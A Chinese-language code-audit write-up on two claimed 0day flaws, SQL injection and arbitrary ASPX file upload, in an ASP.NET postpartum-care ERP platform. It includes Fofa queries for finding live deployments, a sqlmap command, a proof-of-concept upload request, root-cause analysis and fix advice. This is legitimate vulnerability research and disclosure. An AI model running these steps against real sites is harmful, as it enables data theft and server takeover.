在针对特定行业管理软件进行安全评估时,代码审计是发现深层次漏洞的有效方法。本次我们将对一个名为“月子护理ERP管理平台”的 ASP.NET 应用进行审计,并发现了两个高危的 0day 漏洞:一处 SQL 注入和一处文件上传。本文将从漏洞发现、利用到代码层面的根因分析,完整呈现审计过程。
一、SQL注入漏洞(0day)
1.1 资产发现与漏洞复现
首先,我们使用网络空间搜索引擎进行资产发现。通过特定的特征字符串,可以定位到使用该系统的站点。
Fofa 搜索语法:
body="月子护理ERP管理平台" || body="妈妈宝盒客户端.rar" || body="Page/Login/Login3.aspx"

在找到目标后,通过分析其前端代码或目录结构,我们定位到一个可疑接口 /Page/upload/DelFilesHandler.ashx,其 fids 参数可能存在风险。使用自动化工具进行测试:
Sqlmap 测试命令:
python sqlmap.py -u “http://IP:PORT/Page/upload/DelFilesHandler.ashx?fids=1” -p fids --batch
测试结果显示,该参数存在多种类型的SQL注入,数据库为 Microsoft SQL Server。

1.2 漏洞代码分析
漏洞位于 /Page/upload/DelFilesHandler.ashx 文件。

该处理器编译在 WebApp4.0.dll 程序集中。

通过反编译工具(如 dnSpy)查看其 C# 源码,找到 WebApp4._0.Page.upload.DelFilesHandler 类的 ProcessRequest 方法。

问题核心代码:
string sql = $"select fileUrl,fileName from t_FileUploadDetail where 1=1 and Id in({fids})";
DataTable dt = BRBase<t_FileUploadDetail>.SearchOnDataset(sql).Tables[0];
让我们深入分析一下漏洞成因:
- 参数直接获取:
fids 参数直接从 context.Request.QueryString["fids"] 获取,未经过任何验证或过滤。
- 拼接SQL语句:该参数被直接拼接进 SQL 查询语句的
IN 子句中。
- 缺乏防护:没有使用参数化查询等安全措施,导致了经典的 SQL 注入漏洞。攻击者可以通过构造特殊的
fids 参数值,执行任意的数据库操作。
对于从事 代码审计 和安全研究的朋友来说,这类在数据处理层缺少校验的逻辑非常值得警惕。
二、文件上传漏洞(0day)
2.1 漏洞复现与利用
在同一个 upload 目录下,我们还发现了另一个接口 SaveFileHandler.ashx。通过构造特定的 POST 请求,可以实现任意文件上传。
POC 请求数据包:
POST /Page/upload/SaveFileHandler.ashx HTTP/1.1
Host: IP:PORT
Content-Type: application/json
Content-Length: 116
{
“url”: “OA/“,
“htmlname”: “YYDS.aspx“,
“htmlstr”: “<%= new Random().Next(100000,999999) %>“
}
发送请求后,服务器返回上传成功的信息。

根据返回的路径提示,我们访问上传的文件:http://IP:PORT/OA/YYDS.aspx。页面成功解析了 ASPX 代码并输出了随机数,证明文件上传且可被服务器执行。

2.2 漏洞代码分析
漏洞位于 /Page/upload/SaveFileHandler.ashx 文件。

其处理逻辑同样在 WebApp4.0.dll 的 WebApp4._0.Page.upload.SaveFileHandler 类中。

关键的反编译代码如下:

我们来梳理其不安全的处理流程:
- 获取用户输入:通过
getparm 方法从请求 JSON 体中获取 url(上传路径)、htmlname(文件名)、htmlstr(文件内容)三个完全可控的参数。
- 不安全路径拼接:使用
HttpContext.Current.Server.MapPath(“.././” + uploadUrl) 将相对路径映射为物理路径。这里拼接了用户可控的 uploadUrl,且通过 ../ 实现了目录穿越。
- 直接写入文件:程序将
htmlstr 的内容直接写入到拼接得到的 uploadFileName 中。
最核心的问题代码段:
HtmlDocument doc = new HtmlDocument();
doc.LoadHtml(html);
doc.Save(uploadFileName, Encoding.GetEncoding(“utf-8”));
这段 C# 代码未对文件内容、文件后缀或路径进行任何安全校验,直接将用户可控的 html 内容保存到用户可控的 uploadFileName 路径下,导致了严重的任意文件上传漏洞。攻击者可以上传 .aspx 等脚本文件,从而获取服务器控制权。
总结与思考
本次审计揭示了目标 ASP.NET 应用在两个方面存在严重的安全缺陷:
- SQL注入:源于对用户输入(
fids)的盲目信任和字符串拼接,这是 C# 后端开发中需要时刻警惕的经典问题。
- 文件上传:源于功能设计上的缺陷,允许用户控制文件内容、文件名和存储路径,且没有实施任何白名单或内容安全检查。
对于开发者而言,务必使用参数化查询来抵御 SQL 注入,并对文件上传功能实施严格的路径、后缀和内容安全策略。对于安全研究人员,通过静态代码审计可以发现此类逻辑漏洞,是提升 Web 应用安全性的重要手段。你可以在 云栈社区 的安全板块找到更多关于漏洞挖掘与防御的深度讨论。